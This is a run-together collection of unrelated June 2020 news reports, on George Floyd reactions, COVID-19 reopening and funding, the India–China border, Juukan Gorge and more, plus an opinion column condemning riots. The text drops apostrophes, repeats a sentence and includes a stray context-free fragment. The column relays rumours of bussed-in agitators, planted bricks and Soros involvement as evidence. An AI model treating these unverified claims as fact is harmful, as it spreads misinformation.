Local black-owned businesses have been thrust into the spotlight as near-daily protests continue in Albuquerque and around the country in response to the killing of 46-year-old George Floyd, a black man who died at the hands of Minneapolis police.

At Franks Famous Chicken & Waffles, business has doubled in the past week, according to owner Frank Willis.

Its nonstop, he said.

Willis, who continues to limit his business on 400 Washington SE to take-out orders, said hes thankful for the support for him and other black business owners.

Were really appreciative of this in this time when everyone is struggling, Willis said. Its good to have the support of everybody in the city.

In the past week, lists of local black-owned businesses have made the rounds on social media with the intention to drive economic support to Albuquerques black community in the wake of the Black Lives Matter demonstrations.

The goal was to give these businesses exposure and new business, and to ultimately know that the community supports them, said graphic design artist Kait Tate, whose Instagram post of a list of black-owned businesses in Albuquerque has been shared thousands of times over several days.

Tate said people are continuing to tag and include businesses not on her original list.

The increase in interest extends beyond restaurants.

In the past week, Flower Loop owner Shunnae Love said shes seen a 50% increase in business and interest in her services.

Love said she thinks the increased interest stems from people wanting to show support for the issues at hand and for black business owners like her. Love said the interest in her floral design business  headquartered in her home and run via flowerloop.net  is coming from a diverse group of people who may not have been aware of her services before this week.

Its hopeful and its encouraging because I think, for the first time since Ive been alive, she said, the support isnt just one race. Its a multitude of races and cultures and people that want to see humanity work.

Cathryn McGill, founder and director of the New Mexico Black Leadership Council, said her phone has been ringing all week with people asking what they can do to support Albuquerques black community.

She said shes suggesting people get involved with organizations, make a point to patronize black-owned businesses regularly and continue to work toward positive change.

While McGill said there is an unprecedented number of people reaching out, she hopes it is not just temporary support.

We want to make sure that that desire goes beyond the time when this particular news cycle ends, she said.

Learn more

Community events website ABQtodo has partnered with the citys Cultural Services Department to create a list of local black businesses and ways to support the Black Lives Matter movement in Albuquerque. The list is available at Community events website ABQtodo has partnered with the citys Cultural Services Department to create a list of local black businesses and ways to support the Black Lives Matter movement in Albuquerque. The list is available at www.abqtodo.com /.

Coming Monday

Read New Mexico Black Leadership Council Founder/Director Cathryn McGills Executive Desk column in Mondays Business Outlook.
The University of Kent is investigating a deeply disturbing and highly insensitive photo which showed two males appearing to mock the death of George Floyd.

A Snapchat post which has circulated on social media showed one male holding a can of drink while kneeling on the neck of another person with the caption #justiceforgeorgefloyd.

Mr Floyd was an unarmed black man who died after a white police officer knelt on his neck for several minutes while he was pinned to the floor in Minneapolis, Minnesota, last month.

An independent post-mortem examination found Mr Floyd died from asphyxia, a lack of oxygen, due to the compression on his neck and back by police officers, challenging an official examination by a county medical examiner which suggested underlying health conditions played a role in his death.

We are investigating, alongside Kent Union, this deeply disturbing and highly insensitive image, the University of Kent and Kent Union said in a joint statement.

The University of Kent does not tolerate racism in any form and is taking this matter very seriously.

Sasha Langeveldt, the student union president, condemned the extremely distressing image and reassured students that the union had a zero tolerance policy towards racism.

As the first black woman to be elected as Students' Union president, it is my duty to ensure the university is a fair and equal place, or at least challenge it whenever necessary, Ms Langeveldt said.

It has been brought to my attention that there is an extremely distressing photo (making fun out of George Floyd's death) circulating around social media.

The union president added that she would follow up the matter with the university.

It came after three teenagers from Gateshead were arrested on suspicion of committing a hate crime after a video showed them appearing to mock Mr Floyd by re-enacting his death in a park.

The death of Mr Floyd has sparked protests and condemnation around the world, particularly in the US, over racism and police brutality.

Protesters in the US have called for reform of the police system over repeated cases of officers killing unarmed black Americans.

Following the protests, which have been mostly peaceful, new charges have been brought against all the police officers who were sacked over the incident.

The charge for Derek Chauvin, the officer who knelt on Mr Floyds neck, has been elevated to second-degree murder, while the other three officers now face counts of aiding and abetting murder, according to court documents.

Additional reporting by PA
Almost 100 of the 234 Society of St Vincent de Paul Vincents charity shops throughout the country, including the Longford shop on Dublin Street in the town, will re-open on Monday next, June 8.

A full list of the shops re-opening can be found on www.svp.ie/shopsphase1

Longford Shop manager Paddy Maher said all donations and custom would be greatly appreciated.

The Vincents shops closed their doors on March 16 following the introduction of HSE and government restrictions. This has resulted in a considerable loss of income, which would have been recycled directly back into the community.

We are committed to ensuring the well-being of our customers and donors as well as staff and volunteers in the shops, said Dermot McGilloway, SVP national retail development manager.

With that in mind we have a robust and detailed action plan for each shop in relation to cleaning, sorting donations, assisting customers, signage and a range of other issues. All Vincents customers can be assured that they will be entering clean, well-organised shops, which are adhering to all the recommended social distancing and health and safety requirements.

"We will be delighted to receive much-needed donations at each of our shops as they reopen after 12 weeks of closure and we would ask for your ongoing patience and understanding as we seek to receive and process these donations in compliance with social distancing requirements. We will quarantine all donated clothing and textiles for 72 hours before we prepare them for sale, he said.

To coincide with the re-opening of Vincents shops, regular donors will be offered a reusable cotton donation bag, whilst stocks last. Dermot McGilloway said: "Vincents retail is committed to supporting the circular economy and this initiative is in keeping with our reduce, re-use, recycle philosophy. The intention of introducing these reusable donation bags is to reduce the use of single-use plastic/black bin liners from the initial stage of our sorting process.

Vincents charity shops are a very important aspect of the service SVP provides. They are managed by a small number of professionals, assisted by a large number of volunteers and by community employment trainees. The profits generated from the charity shops, some of which also supply furniture, are recycled into local Conferences around Ireland to support those in need.

Local SVP Conferences can also provide people with Vincents Gift Tokens for clothing and furniture, which they can use in any of the shops The second-hand clothes and other items donated to Vincent's charity shops make a difference to people in need in their communities.

To find your nearest SVP shop go to www.svp.ie/shops Call 01 8386990.
(TNS)  Kansas Attorney General Derek Schmidt announced this week that he is urging the Kansas Legislature to enact a law governing coronavirus contact tracing to create a legal framework to protect personal information and civil liberties."While contact tracing is a familiar tool to the public health community, the anticipated scope of expansion of the practice during the COVID-19 pandemic is certain to present challenging legal issues not addressed by current Kansas law," Schmidt wrote in a letter to Gov. Laura Kelly and legislative leaders last week."Already, concerns have been raised about whether and how cellphone location data may be used to track the movements of Kansans, [a]nd major global data companies have announced they are developing technologies specifically to enable automated contact tracing through individuals' cellphones. At least one lawsuit has been filed and resolved when the local government involved agreed to change its low-tech data-collection practices. All of this is occurring without even a basic statutory architecture to guide development and deployment of the practice and management of the sensitive personal information collected."Contact tracing, which is practiced by public health officials to identify people who have had contact with an infected individual, Schmidt's office noted in a press release, is considered crucial by many public health officials to enable a safe reopening and economic recovery. It is used to identify new virus outbreaks and contain them before they can spread further. The absence of law governing contact tracing, however, causes concern for many, the release noted.Locally, the Crawford County Commission recently approved a letter of support for a contact tracing phone application called Check-in Crawford County."Much of this is unplowed legal ground, and I recognize that the relatively short time available [during the special session] will not allow development of a thoughtful, comprehensive contact-tracing statute," Schmidt wrote in his letter. "More thorough study in an interim committee or during the next regular legislative session no doubt will be advisable. But perhaps crafting a simple, basic framework to guide development of the practice at least through the remainder of this year is possible and advisable."Schmidt would be willing to work with legislative leaders on a bill draft, according to the release, and such a bill should address issues including whether participation in contact tracing is voluntary or mandatory, whether contact information will remain private and confidential, whether cellphone location data will be used, what data will be collected, who will collect, possess or have access to the data, what purposes that data will be used for, and how long it will be retained by the government.
I fear greatly for their health, knowing that there is no one to care for them and knowing that they are both in need of help in their care, Schaap wrote. I am the only son and I know the responsibility for my parents care ultimately falls upon me. For their sake I am requesting compassionate release.
Managing director of Iranian news agency convicted on false news charges

06/05/20

Source: Committee to Protect Journalists

On May 31, 2020, Branch 6 of Tehran's Media Court convicted Ali Motaghian, the managing director of the semi-official Iranian Students' News Agency (ISNA), on charges of "spreading false news," according to a report by the news agency. CPJ could not determine what sentence Motaghian received or whether he is in custody. The semi-official Iranian Labour News Agency reported that the court determined he was not eligible for a reduced sentence, but did not specify the sentence he received.



Ali Motaghian

Under Article 698 of Iran's penal code and Article 6 of the country's media law, Motaghian could face two months to two years in prison, 74 lashes, a cash fine, or any combination of those penalties, according to the official judicial news agency Mizan.

According to ISNA, the case stemmed from a complaint filed by the intelligence division of the Islamic Revolutionary Guards Corps over an interview the news agency published with Ali Majedi, Iran's former ambassador to Germany.

In the January 2019 interview, Majedi alluded to Iranian intelligence programs operating in Europe.

The complaint named Motaghian and Akram Ehghaghi, an ISNA reporter who conducted the interview, and accused them of "spreading false news to disturb public opinion," according to the ISNA report.

Ehghaghi appeared in court the same day as Motaghian and was acquitted, according to a report by exile-run news website IranWire.

Iran's Foreign Ministry issued a statement one day after the interview was published, saying that Majedi discussed his personal opinions, and that the ministry disagreed.

CPJ emailed ISNA for comment but did not receive any response. CPJ could not determine contact information for Iran's judiciary.
By PTI

BEIJING: China on Friday said that it is committed to properly resolve the 'relevant issue' with India ahead of the key talks between senior Indian and Chinese military officials on Saturday to end the border standoff.

Both the sides are expected to deliberate on specific proposals to end the month-long bitter standoff in eastern Ladakh during the first extensive talks between the Indian and Chinese military on Saturday, led by lieutenant generals from both the armies.

Chinese Foreign Ministry spokesman Geng Shuang told a media briefing here that "at the moment the situation in the boundary region between China and India is overall stable and controllable".

'We have full-fledged border-related mechanisms and we maintain close communications though military and diplomatic channels,' he said when asked about reports that Indian and Chinese military officials are due to hold talks on Saturday.

'We are committed to properly resolve the relevant issue,' Geng said.



READ OPINION: Understanding Chinas message to our country

The general officer commanding of Leh-based 14 Corps, Lt Gen Harinder Singh, is expected to represent India at the talks which is scheduled to be held at one of the border meeting points, the official sources in New Delhi said.

The Indian side is expected to present specific proposals at the talks to de-escalate tension in Pangong Tso, Galwan Valley and Demchok -- the three areas in eastern Ladakh where the two sides have been on a bitter standoff for the last one month, the sources said.

It is not immediately known what will be the proposals that the Indian military will take to the negotiating table but it is understood that it will insist on return to status quo in all the areas.

The two sides have already held at least 10 rounds of negotiations between local commanders as well as major general-rank officials of the two armies but the talks did not yield any positive result, they said.

It is learnt that two sides are also engaged in diplomatic talks to find a solution to the face-off which is turning out to be the most serious military standoff between the two armies after the Doklam episode of 2017.

After the standoff began early last month, the Indian military leadership decided that Indian troops will adopt a firm approach dealing with the aggressive posturing by the Chinese troops in all disputed areas of Pangong Tso, Galwan Valley, Demchok and Daulat Beg Oldie.



ALSO READ | China raises objection to India's construction near borders in Uttarakhand's Lipulekh area

The Chinese Army is learnt to have deployed around 2,500 troops in Pangong Tso and Galwan Valley besides gradually enhancing temporary infrastructure and weaponry.

India has also been bolstering its presence by sending additional troops and artillery guns, the sources said.

The trigger for the face-off was China's stiff opposition to India laying a key road in the Finger area around the Pangong Tso Lake besides construction of another road connecting the Darbuk-Shayok-Daulat Beg Oldie road in Galwan Valley.

The troops of India and China were engaged in a 73-day stand-off in the Doklam tri-junction in 2017 which triggered fears of a war between the two nuclear-armed neighbours.

The India-China border dispute covers the 3,488-km-long LAC.

China claims Arunachal Pradesh as part of southern Tibet while India contests it.

Both sides have been asserting that pending the final resolution of the boundary issue, it is necessary to maintain peace and tranquillity in the border areas.
The Justice Department inspector general has launched an investigation into the death of a federal inmate who lost consciousness after corrections officers pepper-sprayed him at a New York detention center.

Jamel Floyd, 35, died Wednesday after a fracas at the Metropolitan Detention Center in Brooklyn, the federal Bureau of Prisons said.

The incident began about 10 a.m. when Floyd barricaded himself inside his cell and used a metal object to break the cell-door window, the agency said.

Jamel Floyd died after corrections officers pepper-sprayed him at the Brooklyn Metropolitan Detention Center. (Courtesy of Floyd family)

Floyd became increasingly disruptive and potentially harmful to himself and others," the bureau said, prompting officers to deploy pepper spray to subdue him.

Floyd became unresponsive and was rushed to a local hospital, where he was pronounced dead, the bureau said.

My son has asthma and they pepper-sprayed him to death, said his mother, Donna Mays, who spoke to NBC News by phone Thursday while she was protesting outside the Metropolitan Detention Center.

We have no answers. The facility still hasnt contacted us.

In a statement Thursday, Justice Department Inspector General Michael Horowitz said his office is investigating the circumstances surrounding Floyds death.

The Bureau of Prisons declined further comment.

New York City Chief Medical Examiner Dr. Barbara Sampson said her office is investigating Floyd's death.

"We will complete a thorough, independent investigation firmly rooted in science and medicine," Sampson said.

The death comes as the federal prison system grapples with COVID-19 outbreaks that have claimed the lives of 72 inmates and one staffer.

Floyds death did not appear to be related to the coronavirus, the bureau said. He had arrived at the federal detention facility on Oct. 30, 2019.

The nations federal detention facilities have been placed on lockdown amid the unrest over the death of George Floyd in Minneapolis.

Floyd was serving a 15-year prison sentence after a jury convicted him of burglary and other charges in connection with a violent home invasion in Long Island, N.Y. in 2007. State prison records show he was locked up at Sing Sing prison prior to arriving at the Brooklyn facility.

Story continues

It wasnt immediately clear why he was moved to a federal detention center. His mother said he was under the protection of the federal government.

It had to do with a particular case, she said. He was supposed to be protected.

An FBI spokesman declined comment and referred questions to the Bureau of Prisons.
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As city after city in America is under assault, with buildings on fire and bloodied bodies laying in the streets, we need to unite in our condemnation of these violent riots.

There is nothing righteous about looting. Or bashing someone over the head with a skateboard and pelting him with stones. Or vandalizing the store of a black business owner.

This is chaos. This is anarchy. This is lawlessness. This is wrong.

We can be outraged over the killing of George Floyd and aggrieved over the sin of racism without resorting to this.

Here are four reasons why these race riots do far more harm than good.

First, they came at a time when more and more Americans were willing to talk about apparent racial injustice. As tweeted by the influential black rapper and podcaster, Zuby, The USA temporarily had a moment where virtually ALL Americans were united in empathy and sympathy, over the pointless, awful killing of a fellow citizen.

People of ALL colours and ALL political stripes, unanimous on an issue of clear injustice.

That's extremely rare...

He continued, Now this unity and sympathy has been divided, diluted and misdirected as people fight on the streets, steal from their neighbours, and torch their own communities.

It's fricking sad to see.

I'll say it again. Some people thrive on division and anger. They don't want solutions. (A hat tip to my colleague John Zmirak for these references. He responded to Zubys tweets with his own: The looters in Minneapolis no more represent black Americans than the neo-Nazi thugs in Charlottesville represented me.)

As I emphasized in my latest article, Hope for Black Americans, this was a rare time when law and order conservatives like Sean Hannity, Laura Ingraham, and Dan Bongino united with Christian conservatives like Franklin Graham in condemning the killing of a black American by a police officer. Yet the focus has now shifted to the violence and lawlessness of the riots. How on earth is this positive or helpful?

Second, the riots paint a negative picture of black Americans, as if this is what they do. As expressed in a May 31 email, conservative Christian activist Scott Lively contends that the purpose of Black Lives Matter rioting is to INCREASE Racism to justify the Marxist race-war narrative, and laments that too many conservatives and constitutionalists fall into the trap of lumping the innocent majority of Black Americans with the trained thugs of the BLM and the useful idiots who run with them.

Obviously, Livelys words are confrontational and even inflammatory, and one can debate his larger thesis. But his overall point is clear: the race riots, allegedly carried out in the memory of George Floyd, play into the worst racial stereotypes of black Americans. I ask again: How on earth is this helpful?

Third, these riots are destructive in their very nature, appealing to our worst instincts. As I tweeted on May 31, Peaceful protests can be righteous, godly, and powerful, even reflecting the Spirit of Christ. Rioting and looting are unrighteous, ungodly, and destructive, reflecting the spirit of lawlessness and chaos and murder. Which spirit is that?

One of my black friends, a historian with a strong social conscience, said to me, Anything that comes to kill steal and destroy is the enemy (meaning, from Satan; see John 10:10). Precisely so.

In response to my tweet, someone challenged me, saying, Forgive me if Im wrong but didnt Jesus clear out the temple with a whip?

I replied, 1) He acted in perfect harmony with the Lord. We often do not. 2) He did not kill anyone. He did not set the Temple on fire. He did not destroy the businesses of honest, hardworking people. I could go on and on. Surely you must know this.

Enough said.

Fourth, there appears to be strong evidence that these riots are being aided and abetted by bad players.

Pastor Jim Garlow reported via email on May 31, A couple of hours ago, some bussed-in protesters were attacking the La Mesa, CA police station only a few miles from where I live.

A close friend of mine who is black has reported that the Minneapolis Airport was full of people today being flown in to create havoc. Many were being bussed in. And now we are hearing reports of pallets of bricks being dropped off at street corners in cities to give weapons to the anarchists. The George Soros types have found their moment. We pray for our President, governors and mayors.

This was confirmed by Minnesota Attorney General Keith Ellison, himself a liberal Democrat and an African American Muslim: We have evidence that outsiders have been present and, in some cases, have played a very negative role. But Ive been talking with protesters and trying to get a sense of who some of these folks are and Ive heard mixed things. Some of the negative stuff has come from people in Minnesota and some of it has come from people on the outside. What Id say is weve got enough to handle on our own and that what we really need to do is refocus on justice for Mr. Floyd. And the negative behavior, looting, arson, does not help us achieve that goal.

Conservative broadcaster (and former NYPD officer) Dan Bongino was even more blunt: This isn't a protest anymore, this is a coup, he said.

He added, This is an organized internal coup by a small group of agitators acting as a domestic terror group. That's a fact.

No wonder that President Trump has now declared Antifa a terrorist organization.

Groups like this rip at the very fabric of our nation, and their goals are vastly different than the goals of the vast majority of Americans.

Let us then, work together for equality and justice. One day we can do that is by denouncing these violent riots. Then, we can refocus on the killing of George Floyd and the larger questions of equal treatment under the law.
A three-day national conference on Financial implications of Covid-19 on India with special reference to Punjab organised by community college and postgraduate department of commerce of Gujranwala Guru Nanak Khalsa College concluded on Friday.

On Day 3, three technical sessions were held. The resource person of the first session was Lily Bhushan, MH Shroff College of Commerce, Mumbai. She spoke about the measures that need to be undertaken to reshape the industry and infrastructure. She said there is an urgent need to ensure proper functioning of the supply chain and reopening of units.

She suggested measures like one-time (loan) restructuring, additional institutional funding, waiver of penal interest, policy innovations for triggering consumer demand, controlling cartelisation of raw material and changing criterion of affordability for GST applicability to help the industrial sector.

The second resource person was Bikram Singh Virk, professor at the department of commerce, NJSA Government College, Kapurthala. He spoke on the financial implications of the Covid lockdown and curfew on Punjabs economy, industry and trade.

He added that daily wage workers and those employed by small businesses have taken the worst hit. These include hawkers, roadside vendors and construction workers, he added.

The third resource person was Harpreet Singh, principal, Gujranwala Guru Nanak Institute of Management and Technology, Ludhiana. He focused on measures to revive consumer and industrial demand.

He said that to enhance demand, measures like time-bound implementation of infrastructure projects announced by the government and packages for steel consuming industries like auto and infrastructure, besides a ban on imports of seconds, defectives and re-rollable scrap steel, should be implemented.

The valedictory session started with a welcome address from SP Singh, president, Gujranwala Khalsa Educational Council and former vice-chancellor, GNDU, Amritsar. He said that this conference has connected with people and helped them understand the financial implications of Covid- 19 on industry, trade and commerce effectively.

Raj Kumar, vice-chancellor of Panjab University, Chandigarh, was the chief guest of the valedictory session. He spoke about the financial impact of the Covid- 19 on the Indian and Punjabs economy. He said that the people of Punjab, especially in rural areas, are in a state of palpable unrest over issues including unemployed rural laborers, the poultry sector as well as police treatment of the masses amid the lockdown. Small and marginal farmers as well as farm laborers are the most affected in the state due to the breakdown of supply chains, he added.
Nine people, including three women and two kids, were killed when the SUV in which they were travelling collided head-on with a truck near Wazidpur village under Nawabganj police limits of Pratapgarh district of Uttar Pradesh on Friday. Of the group, only one person survived with serious injuries.

Pratapgarh superintendent of police (SP) Abhishek Singh said the accident occurred around 5.30am while the victims were on their way to Bhojpur, Bihar, from Rajasthan.

The lone survivor, Banti Paswan, was rushed to Lucknow for treatment. Locals said the truck driver managed to flee the spot.

Four among the dead were identified as Chitranjan Kumar, 30, his wife Bindu, 29, daughter Komal, 12, and Surya Dayalall residents of Mewat in Haryana.

Meanwhile, chief minister Yogi Adityanath conveyed condolence to the families and directed officials to ensure proper treatment of the injured.
LOWELL, MI -- Lowell Police Chief Steve Bukala has resigned after allegations that he improperly took political positions in Facebook posts that became controversial.

Bukala resigned Thursday, but documents obtained through the Freedom of Information Act show that he was going to be fired if he did not resign.

Bukala has been with the Lowell Police Department for more than 24 years and became chief in 2013.

Controversy erupted Tuesday, June 2 when Bukala posted on the departments Facebook page about four men who were going to open carry weapons on Main Street in the aftermath of the Grand Rapids riot May 30.

City leaders said they didnt necessarily take issue with Bukala allowing the open carry participants, but did with one line in the community post.

We at the Lowell Police Department support the legally armed citizen and the second amendment, he wrote.

Lowell City Manager Michael Burns later wrote in a disciplinary report that Social media chatter on this was very hostile.

Burns noted there were people for and against the chiefs stance, but believed it overstepped bounds and included unneeded personal commentary and inserted political and debatable issues into a department notice and caused unneeded concern by some city residents."

In his disciplinary report, Burns noted other recent instances where Bukala also seemed to take political positions, particularly involving Gov. Gretchen Whitmer.

One involved a post on his personal Facebook page that showed Bukala and his wife in front of a Home Depot store. His wife was wearing a mask -- due to the COVID-19 threat -- but Bukala wore a mask on his elbow.

Another instance involved an email Bukala sent to organizers of a planned caravan for Lowell High School graduates.

The organizers hoped for police assistance with the caravan but Bukala said it might be go against the governors stay-at-home order at the time.

In the email, he said he could have one patrol car available for any traffic issues, but anything more might be a violation. He suggested a route off Main Street and noted that it keeps the Gretchen posse off may back and off the citys back.

This week isnt the first time Bukala has been at the center of controversy.

In 2017, he was charged with misusing the Law Enforcement Information Network by making license plate inquiries on his ex-wife. The queries happened in prior years, before he was chief.

Bukala was sentenced to pay a $1,000 fine, $400 in court fees and ordered to undergo a LEIN retraining session.

Bukala could not immediately be reached for comment.

In a post to the police departments Facebook page late Thursday afternoon, city officials apologized to the community for mistakes on social media

It read:

"We have made mistakes on social media this week, starting with an ill-considered message posted on the Lowell Police Department Facebook page. We then defended this message, arguing with residents or dismissing their concerns.

On behalf of the City and the Police Department, we apologize to our community for these mistakes. At a time when residents looked to us for leadership, we failed. We must take this opportunity to listen and learn so we can work together to defeat racism and build a more just and equitable society. We can and must do better."

More from MLive

Grand Rapids police chief: Riot, George Floyds murder at hands of police traumatize many

Gov. Whitmer responds to lack of social distancing at protests against police brutality
New Delhi: Pakistan's ISI is busy recruiting terrorists on the ground to increase terrorism activities in Jammu and Kashmir's Poonch-Rajouri belt. The ongoing encounter in Rajouri is part of this conspiracy etched by Pakistan's ISI, according to highly placed sources in security agencies.

As per an intelligence agency report, the ISI is plotting to increase terrorist activities by recruiting over the ground workers to their network.

The information about the ISI conspiracy was revealed earlier this year. The terrorist organisations in Jammu are making several attempts to execute a terrorist attack.

In Jammu and Kashmir's Rajouri district on Thursday, there were reports of an encounter between terrorists and security forces in which a terrorist was killed.

An encounter had began as the Army and J&K Police launched a cordon and search operation in Kalakote belt of the district after reciving specific inputs about the presence of infiltrating terrorists.

Meanwhile, one jawan of the Indian Army has been killed in a ceasefire violation by Pakistan in the Sunderbani sector of Rajouri district on Thursday (June 4) evening. The ceasefire violation by Pakistan took place at around 7 pm to which the Indian Army retaliated befittingly.

According to officials, the Pakistan army targeted the forwards areas in Sunderbani sector.

While earlier on Thursday, one civilian was injured after a police party was attacked by terrorists in south Kashmir`s Kulgam.
A mining company that blew up one of Australia's oldest known Aboriginal sites knew about the area's cultural significance six years before carrying out the demolition, according to a report.

Metal mining giant Rio Tinto demolished the Juukan Gorge caves in the Pilbara region, Western Australian, on 24 May in what has been described as an "incomprehensible mistake".

The caves were a sacred Aboriginal heritage site with evidence of human occupation stretching back 46,000 years.

The two cave systems were the only inland site in Australia to show evidence of continual human occupation through the last Ice Age and numerous ancient artefacts had been recovered there.

It has now emerged that Rio Tinto knew about the archaeological significance of the caves before blowing them up.

According to a report by Australian Broadcasting Corporation (ABC), advice delivered to Rio Tinto and the Puutu Kunti Kurrama and Pinikura (PKKP) (a body representing indigenous people of the region) six years ago but was never publicly released.

A 2014 report by archaeologist Dr Michael Slack confirmed one of the sites - the Juukan-2 (Brock-21) cave - was rare in Australia and unique in the Pilbara, according to ABC.

"The site was found to contain a cultural sequence spanning over 40,000 years, with a high frequency of flaked stone artefacts, rare abundance of faunal remains, unique stone tools, preserved human hair and with sediment containing a pollen record charting thousands of years of environmental changes," Dr Slack wrote in the report.

"In many of these respects, the site is the only one in the Pilbara to contain such aspects of material culture and provide a likely strong connection through DNA analysis to the contemporary traditional owners of such old Pleistocene antiquity."

Photos released by the PKKP Aboriginal Corporation show Juukan Gorge in Western Australia on June 2, 2013 (top) and how it was on May 15, 2020, after mining activity but before the blasts which destroyed the ancient caves (PKKP Aboriginal Corporation/AFP)

The PKKP said earlier this month it had applied to visit the site and negotiate to stop the blast or limit the damage but were told explosives had already been laid and it was impossible to remove them, the Sydney Morning Herald reported.

The mining giant was first granted approval for work at the Brockman 4 iron ore project in 2013, but archaeological excavation in 2014 recovered around 7,000 ancient artefacts including grinding stones, a bone sharpened into a tool and a 4,000-year-old braided hair belt, analysis of which revealed a direct genetic link between the PKKP today, and the prehistoric cave-dwelling population.

The demolition went ahead with all the necessary approvals in place, despite the archaeological finds indicating the site was even more significant than previously thought.

The incident has sparked international outrage, with one Unesco expert comparing the legal loss of Juukan Gorge caves by Rio Tinto to Isis's demolition of Palmyra.

Rio Tintos iron ore chief executive Chris Salisbury apologised for the distress the company has caused.

"Our relationship with the PKKP matters a lot to Rio Tinto, having worked together for many years.

We have operated on PKKP country under a comprehensive and mutually agreed participation agreement since 2011.

At Juukan, in partnership with the PKKP, we followed a heritage approval process for more than 10 years. In 2014 we performed a large-scale exercise in the Juukan area to preserve significant cultural heritage artefacts, recovering approximately 7,000 objects.

Salisbury added that the destruction of the caves was a "misunderstanding" and that his company took "full accountability".
Sumi Sukanya Dutta By

Express News Service

NEW DELHI: With Covid-19 cases surging in India, more hospitals are getting diverted to treat the infected patients  suggesting that non-Covid healthcare services that have been badly affected in the pandemic could get hit further.

An analysis of the figures on Covid-19 health facilities by the Union Ministry of Health suggests that in last one month, there has been an increase of over 22 per cent in the health centres that are meant exclusively or mainly only for moderately or severely sick due to Covid-19 across India.

In other words, within a month, there is a further decline of more than 22 per cent in hospitals that would have catered to other patients.

On May 7, a month after the Centre decided to prepare a three-tier healthcare delivery system for Covid- 19, the number of Dedicated Covid Hospitals and Covid Health Centres stood at 2,719.

As on Friday, this number has reached 3,319 with 957 earmarked as DCHs and 2,362 designated as CHCs as the number of active cases has reached 1,10, 960. It shows, that within a four week period, 600 hospitals across India have been diverted to treat mainly Covid-19 patients.

As per health ministrys definition, DCHs are either full hospitals or separate block in a hospital for Covid-19 patients clinically assigned as severe and are meant to have fully equipped ICUs, ventilators and beds with assured oxygen support.

Their number is 957 now  136 more than what it was on May 7.

The number of CHCs, which are also either full hospital or a separate block in a hospital, are the ones that have beds with assured oxygen support and are meant for moderately sick Covid-19 patients.

There is another category of health facilities - Covid care centreswith simple isolation beds which are to serve mild patients who want or are prescribed institutional isolation. Their number stands at 7,529 as of now.

Officials in the health ministry conceded that other non-essential and even essential healthcare services have taken a backseat in the last several weeks and the situation could get even worse in days to come.

As cases climb, especially in cities and states which are getting overwhelmed with the daily rise in Covid-19 cases, needs of millions of others needing healthcare could be ignored and that means more suffering, bad disease outcomes and even deaths for thousands and thousands, a senior official told this newspaper.

He pointed out that situation is mainly worrisome in cities like Mumbai, Delhi, Ahmadabad, Chennai and Pune among others where health infrastructure is struggling to cope with the rising cases of infection.

Another official pointed out that many hospitals that had almost shut down during the initial period of lockdown have now got converted into Covid facilities.

Public health experts meanwhile stressed that since a large number of those succumbing to the infection are those with non-communicable diseases like diabetes, cardiovascular conditions, ensuring continuum for care for those with multiple morbidities is paramount.

One strategy that could be considered is developing a database of those with NCDs or chronic conditions who were on treatment or hospitalized in the past year and proactively contact them to check on their health status and need for follow up visits and medications, said Dr Oommen John, a public health researcher with the George Institute of Global Health in New Delhi.

Considering home delivery of medicine refills will ensure that they continue on their treatment and also front line health care workers should focus on routine healthcare delivery so that essential services can continue while the contact tracing and testing activities are undertaken by special public health response teams, he added.
OTTAWAPrime Minister Justin Trudeau has offered $14 billion to help provinces and territories safely restart their economies, but Premier Doug Ford warns that is not enough to recover from COVID-19.

Trudeau wrote the premiers Tuesday setting out priority areas where the federal money must be spent. They include expanded testing and contact tracing, personal protective equipment and for health-care workers and businesses, paid sick leave, improved child care, long-term care improvement and support for municipalities.

While Ford welcomed Ottawas funding as a good start, he said Ontario alone requires $23 billion to deal with the fallout from a virus that has led to more than 1.15 million lost jobs in Canadas most populous province.

Theres a massive need in Ontario, the premier said Friday at Queens Park.

We have a $23 billion problem in Ontario and  $14 billion for all of Canada just won't cut it.

Trudeaus letter said Ottawa is prepared to supply significant, short-term federal transfers under a single negotiated agreement for a safe restart over the next six to eight months, and to allow provinces to be ready for the real potential of a second wave.

Although the provinces received the missive on Tuesday, premiers only learned the amount Ottawa would commit during a weekly federal-provincial call Thursday.

If the $14-billion federal fund is allocated on a per capita basis as expected Ontario, with 38 per cent of the population, would receiving $5.32 billion.

Ford, who has worked closely with Trudeau and Deputy Prime Minister Chrystia Freeland throughout the pandemic, also indicated he could not abide by some of the strings attached to the federal funding, such as mandatory paid sick leave.

I dont support it. We have legislation that protects jobs of people. If they dont feel safe, they don't have to go on to work, he said.

Both provincial Liberal Leader Steven Del Duca and NDP Leader Andrea Horwath implored Ford to reinstate the paid sick days that his Progressive Conservative government cut after it was elected in 2018.

Doug Ford couldn't be more wrong when it comes to sick days. One of his first acts was to slash the paid sick days women and men across this province rely on, said Del Duca.

When an Ontarian is sick, they should stay home. Thats how we keep workplaces safe. Turning down Ottawas offer to help cover the cost of 10 paid sick days shows he hasnt learned any lessons from the pandemic.

Horwath said workers always deserved paid sick days and Fords attempt to deny this simple public health and human decency measure is horrible.

Hes forcing people to make the choice between going in to work when theyre unwell and symptomatic, or being short on the rent or mortgage, said the NDP leader.

Thats not only callous, but could spread COVID-19 and contribute to the second wave of the virus in Ontario.

Trudeaus letter, which was obtained by the Star, says the any agreement would would be based on shared objectives and having the appropriate accountabilities in place.

A safe restart will help save lives and illustrate to Canadians that governments are leveraging learnings and experiences gained to date during this epidemic, the prime minister wrote.

But Trudeau outlined detailed areas where money might be spent.

Beyond expanded testing and contact tracing, he said the provinces and territories must do more to protect vulnerable populations, including seniors in long-term-care facilities.

He would also like to see some of the federal money support child-care services over the next six to eight months to compensate for child-care centres operating at half-capacity and to enable parents to return to work.

This could include funding to keep existing early learning child care spaces open, to open new but temporary early learning and child care spaces, providing personal protective equipment, and the creation of summer camps/child care spaces for children aged seven and older, he wrote.

Robert Benzie is the Star's Queen's Park bureau chief and a reporter covering Ontario politics. Follow him on Twitter: @robertbenzie

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Source: Xinhua| 2020-06-06 01:37:22|Editor: huaxia

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COPENHAGEN, June 5 (Xinhua) -- In a letter addressed to party leaders in the Folketing (Parliament) on Friday, Danish Prime Minister Mette Frederiksen proposed to ease the current ban on gatherings of more than ten people before the end of this summer.

According to the letter, the government intends to lift the ban in three stages throughout summer:

First, a maximum of 50 people would be allowed to gather in public from June 8; Then, the size limit for the group gatherings would be raised to 100 people from July 8; And from Aug. 8, the government would raise the limit to 200 people.

An extension of the "two square meters per person" rule would also make it possible for a maximum of 500 people to gather at conferences and sporting events while seated.

"The government wants to make it clear that if the epidemic flares up again, the tightening of the assembly ban is expected to be one of the first measures taken," said the prime minister. Enditem
